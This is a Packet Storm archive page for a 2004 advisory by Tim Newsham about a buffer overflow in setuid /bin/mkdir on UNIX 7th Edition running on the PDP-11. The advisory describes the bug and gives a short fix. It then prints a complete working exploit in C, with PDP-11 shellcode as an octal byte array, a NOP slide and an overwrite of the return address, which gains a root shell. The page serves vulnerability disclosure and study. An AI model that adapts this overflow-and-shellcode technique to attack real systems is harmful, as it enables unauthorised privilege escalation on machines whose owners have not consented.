exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

pdp11mkdir.c

pdp11mkdir.c
Posted Jun 3, 2004
Authored by Tim Newsham

A vulnerability in the mkdir system utility can allow an unprivileged user to gain root privileges in UNIX 7th Edition systems. Exploit for /bin/mkdir Unix V7 PDP-11 included.

tags | exploit, root
systems | unix
SHA-256 | 4e41e05c7bd4f54ea62b0ae08d7f52783bf2b9ebe3351bf9003ef69884cf8358

pdp11mkdir.c

Change Mirror Download

Mkdir buffer overflow vulnerability in Unix Seventh Edition.
2 Jun 2004


SYNOPSIS
A vulnerability in the mkdir system utility can allow an
unprivileged user to gain root privileges in UNIX 7th
Edition systems.

DESCRIPTION
The mkdir utility (/bin/mkdir) creates directories on behalf
of the user. Mkdir is granted root privileges through the
set-user-id mechanism to allow it to create directories with
the mknod system call. Before making a subdirectory, mkdir first
verifies that the path leading up to the new directory exists
and that the user can access the directory. In the process
of performing these tests, mkdir copies a portion of the
user supplied path into a fixed sized temporary buffer.
This occurs in the function mkdir() (see /usr/src/cmd/mkdir.c).

The mkdir() function first finds the position of the last path
divider character ('/') in the provided path, and then copies
all the data up to this point into the pname buffer. Since
the pname buffer is only 128 bytes long, and the user provided
path can have a much longer length, a buffer overflow condition
exists.

SOLUTION
The fix to this problem is simple -- ensure that the provided
path is no longer than the maximum path length. This can be
done by adding:

if(strlen(d) >= 126) {
fprintf(stderr, "mkdir: path is too long\n");
++Errors;
return;
}

to the start of the mkdir() function. Comparing with a value
slightly less than the maximum path length ensures that the
buffer is also large enough to contain the path to the "."
link that is created later in the function.

EXPLOIT
The following program exploits this problem on the PDP-11
platform to run a shell with the effective user id of the
superuser.

----
/*
* Exploit for /bin/mkdir Unix V7 PDP-11.
* mkdir has a buffer overflow when checking if the directory
* in /arg/with/slashes/fname exists.
*
* This will run /bin/sh with euid 0, but not uid 0. Since
* the shell doesn't do anything special about this, we don't
* really care. If you care, run setuid(0); execl("/bin/sh", 0);
*/

/*
.globl _main
_main:
mov pc,r1
sub $-[sh-_main-2], r1 / pointer to sh
mov r1, r2
sub $-8, r2
clrb -1(r2) / null terminate
mov r1, r2
clr -(r1) / char *env[] = {0}
mov r1, r3
mov r2, -(r1) / char *argv[] = {sh, 0}
mov r1, r4
mov r3, -(r1) / reverse of sh,argv,env
mov r4, -(r1)
mov r2, -(r1)
sys 59.; 11111; 11111; 11111 / call execve
argv: 11111; 11111
sh: </bin/sh>
*/

char egg[] = { 0301, 021, 0301, 0345, 0326, 0377, 0102, 020,
0302, 0345, 0370, 0377, 062, 0212, 0377, 0377,
0102, 020, 041, 012, 0103, 020, 0241, 020,
0104, 020, 0341, 020, 041, 021, 0241, 020,
073, 0211, 0111, 022, 0111, 022, 0111, 022,
0111, 022, 0111, 022, 057, 0142, 0151, 0156,
057, 0163, 0150, 0 };

#define NOPSLIDE 50
#define CNT 136
#define PC 0xfea0

main(argc, argv)
int argc;
char **argv;
{
char buf[400];
int i;
char *argv2[4];

/* nop slide + egg */
for(i = 0; i < NOPSLIDE; ) {
buf[i++] = 0301;
buf[i++] = 021;
}
strcpy(buf + i, egg);

/* pad out to CNT */
for(i = strlen(buf); i < CNT; i++)
buf[i] = 'a';

/* overwrite retaddr */
buf[i++] = PC & 0xff;
buf[i++] = PC >> 8;

/* extra stuff */
buf[i++] = '/';
buf[i++] = 'a';
buf[i++] = 0;

argv2[0] = "/bin/mkdir";
argv2[1] = buf;
argv2[2] = 0;
execv(argv2[0], argv2);
return 0;
}
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close